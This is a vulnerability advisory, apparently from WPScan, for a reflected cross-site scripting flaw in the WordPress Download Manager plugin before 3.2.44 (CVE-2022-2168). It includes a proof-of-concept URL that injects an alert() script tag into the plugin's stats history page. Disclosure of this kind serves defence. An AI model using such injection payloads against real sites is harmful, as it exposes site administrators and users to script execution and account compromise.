WordPress Plugin Vulnerabilities

Download Manager < 3.2.44 - Reflected Cross-Site Scripting

Description

The plugin does not escape a generated URL before outputting it back in an attribute of the history dashboard, leading to Reflected Cross-Site Scripting

Proof of Concept

https://example.com/wp-admin/edit.php?post_type=wpdmpro&page=wpdm-stats&type=history&user_ids[]=1&"><script>alert(/XSS/)</script>

Affects Plugins

download-manager

Fixed in version 3.2.44

References

CVE

CVE-2022-2168

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CWE-79

Miscellaneous

Original Researcher

ZhongFu Su(JrXnm) of WuHan University

Submitter

ZhongFu Su(JrXnm) of WuHan University

Submitter website

https://blog.szfszf.top

Submitter twitter

JrXnm

Verified

Yes

WPVDB ID

66789b32-049e-4440-8b19-658649851010

Timeline

Publicly Published

2022-06-27 (about 7 months ago)

Added

2022-06-27 (about 7 months ago)

Last Updated

2022-09-26 (about 4 months ago)

Our Other Services

WPScan WordPress Security Plugin